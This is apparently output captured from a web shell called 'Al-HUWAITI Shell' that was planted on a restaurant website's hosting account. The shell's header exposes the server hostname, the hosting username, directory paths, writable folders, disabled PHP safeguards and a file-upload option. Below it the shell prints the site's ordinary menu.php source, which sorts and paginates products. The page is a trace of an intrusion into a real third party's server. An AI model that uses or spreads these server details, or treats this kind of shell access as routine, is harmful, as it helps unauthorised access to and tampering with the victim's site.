Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/imperialcafebistro.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/imperialcafebistro.com/public_html/menu.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']);
$page_title = "Menu";
$page_header = "";
include("header.php"); ?>
<title><?php echo $company_name; ?> - <?php echo $page_title; ?></title>
<?php include("page_header.php"); ?>
<?php
//initialize filter session
if (!isset($_SESSION["filter_by"])){
	$_SESSION["filter_by"] = "default";
	$filter_by =" product_title";
	$selected_default="selected";
	$selected_highest="";
	$selected_lowest="";
}
else{
	if($_SESSION["filter_by"] == "default"){
		$filter_by =" product_title";
		$selected_default="selected";
		$selected_highest="";
		$selected_lowest="";
	}
	elseif($_SESSION["filter_by"] == "highest_price"){
		$filter_by =" product_price DESC";
		$selected_default="";
		$selected_highest="selected";
		$selected_lowest="";
	}
	elseif($_SESSION["filter_by"] == "lowest_price"){
		$filter_by =" product_price ASC";
		$selected_default="";
		$selected_highest="";
		$selected_lowest="selected";
	}
	else{
		$filter_by =" product_title";
		$selected_default="selected";
		$selected_highest="";
		$selected_lowest="";
		}
}
//form runs
if (isset($_GET["filter"])){
	$filter_form = mysqli_real_escape_string($con,$_GET['filter_by']);
	$_SESSION["filter_by"] = "$filter_form";
	
	if($_SESSION["filter_by"] == "default"){
		$filter_by =" product_title";
		$selected_default="selected";
		$selected_highest="";
		$selected_lowest="";
	}
	elseif($_SESSION["filter_by"] == "highest_price"){
		$filter_by =" product_price DESC";
		$selected_default="";
		$selected_highest="selected";
		$selected_lowest="";
	}
	elseif($_SESSION["filter_by"] == "lowest_price"){
		$filter_by =" product_price ASC";
		$selected_default="";
		$selected_highest="";
		$selected_lowest="selected";
	}
	else{
		$filter_by =" product_title";
		$selected_default="selected";
		$selected_highest="";
		$selected_lowest="";
		}
}
?>
        <!-- menu-section -->
        <section class="menu-section bg-black p-tb-100">
            <div class="container position-relative">
                <div class='row justify-content-center'>
                    <div class="col-lg-4 col-sm-4 text-center text-sm-left">
                        <div class="toolbar-sorter-right">
                            <span class='disappear_mobile'>Sort by </span>
                            <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>" method="get">
                            <select name='filter_by' id="basic" class="form-control selectpicker show-tick" style='border:1px solid grey;'>
                            <option <?php echo $selected_default; ?> value='default'>&nbsp;Default</option>
                            <option <?php echo $selected_highest; ?> value='highest_price'>&nbsp;Highest Prices</option>
                            <option <?php echo $selected_lowest; ?> value='lowest_price'>&nbsp;Lowest Prices</option>
                            </select> <br>
                            <button class="btn btn-primary hvr-hover" type="submit"name='filter'>Filter</button>
                            </form> 
                        </div>       
                    </div>
                </div>
               
                <div class="menu-main-carousel-area">
                    
                    <div class="menu-main-details-for">
                        
                        <div class="menu-main-details-item">
                            <div class="receipe-grid receipe-grid-three">
                                <?php 
	$sql = "SELECT COUNT(product_id) FROM products ORDER BY $filter_by";
	$query = mysqli_query($con, $sql);
	$row = mysqli_fetch_row($query);
	//here we have the total row count
	$rows = $row[0];
	//number of results we want per page
	$page_rows = 60;
	//tells us the page number of our last page
	$last = ceil($rows/$page_rows);
	//this makes sure last cannot be less than 1
	if($last < 1){$last = 1;}
	//establish the page num variable
	$pagenum = 1;
	//Get pageum from $GET if it is present, else its 1
	if(isset($_GET['pn'])){
	$pagenum = preg_replace('#[^0-9]#', '', $_GET['pn']);
	}
	//below 1 or more than last page
	if($pagenum < 1){
	   $pagenum = 1;
	}else if ($pagenum > $last) {
		$pagenum = $last;
	}
	//this sets the range of rows to query for the chosen pagenum
	$limit = 'LIMIT ' .($pagenum - 1) * $page_rows .',' .$page_rows;
	//grabs one page worth of rows
	$sql = "SELECT * FROM products ORDER BY $filter_by $limit";
	$query = mysqli_query($con, $sql);
	//this shows the user what page they on and total number
	$textline1 = "Messages $rows";
	$textline2 = "Page $pagenum of $last";
	//establish the pagination controls
	$paginationCtrls = "";
	//if there is more than one page worth of results
	if($last != 1){
		if($pagenum > 1){
			$previous = $pagenum - 1;
			//$paginationCtrls .='<a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Previous</a> &nbsp';
			//$paginationCtrls .='<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Prev</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$previous&id=$cat_id\">&nbsp;&nbsp;Prev&nbsp;&nbsp;</a>";
			//render clickable links to the left of target page number
			for($i = $pagenum-4; $i < $pagenum; $i++){
				if($i > 0){
					//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'"></a> &nbsp; ';
					//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a></li>';
					$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$i&id=$cat_id\">&nbsp;&nbsp;$i&nbsp;&nbsp;</a>";
				}
			}
		}
		//render target number bt not link
		//$paginationCtrls .= ''.$pagenum.' &nbsp; ';
		$paginationCtrls .= '<a href="#">'.$pagenum.'</a>';
		//render clickable number links to the right of target number
		for($i = $pagenum+1; $i <= $last; $i++){
			//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a> &nbsp; ';
			//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$i&id=$cat_id\">&nbsp;&nbsp;$i&nbsp;&nbsp;</a>";
			
			if($i >= $pagenum+4){
				break;
			}
		}
		//this does the same as above, only checking if we are on the last page
		if($pagenum != $last) {
			$next = $pagenum + 1;
			//$paginationCtrls .= '<li><a href="'.$_SERVER['PHP_SELF'].'?pn='.$next.'">Next</a></li>';
			$paginationCtrls .= "<a href=\"$_SERVER[PHP_SELF]?pn=$next&id=$cat_id\">&nbsp;&nbsp;Next&nbsp;&nbsp;</a>";
		}
	}
	if(mysqli_num_rows($query) > 0){
		while ($row_back_deals = mysqli_fetch_array($query, MYSQLI_ASSOC)) {
			$product_id = $row_back_deals['product_id'];
			$product_title = $row_back_deals['product_title'];
			$product_price = $row_back_deals['product_price'];
			$product_desc = $row_back_deals['product_desc'];
			$product_image = $row_back_deals['product_image'];
			$new_tag = $row_back_deals['new'];
			$in_stock = $row_back_deals['in_stock'];

?>

   <div class="receipe-item receipe-item-black pb-30 receipe-grid-item">
        <div class="receipe-item-inner">
            <div class="receipe-image">
                <img src="site_img/products/<?= $product_image ?>" alt="<?= $product_title ?>" style='width:100px; height:100px: border-radius:5px; object-fit:cover;'>
            </div>
            <div class="receipe-content">
                <div class="receipe-info">
                    <h3><a href="menu_details?product=<?= $product_id; ?>"><?= $product_title ?></a></h3>
                    <h4><?= $currency; ?><?= number_format((float)$product_price, 2, '.', ','); ?></h4>
                </div>
                <div class="receipe-cart">
                    <a href="menu_details?product=<?= $product_id; ?>">
                        <i class="flaticon-eye"></i>
                        <i class="flaticon-eye"></i>
                    </a>
                </div>
            </div>
        </div>
    </div>

<?php									
		}
	}
	else{echo"Nothing found";}				
?>                              
                                
                                
                            </div>
                            <div class="text-center">
                               <?php 	
                                    echo"$paginationCtrls";
                                    echo "<br/><div class='text_line'>$textline2</div>";	
                                ?>
                            </div>
                        </div>
                       
                    </div>
                </div>
            </div>
        </section>
        <!-- .end menu-section -->
      <?php include("footer.php"); ?>

Al-HUWAITI Shell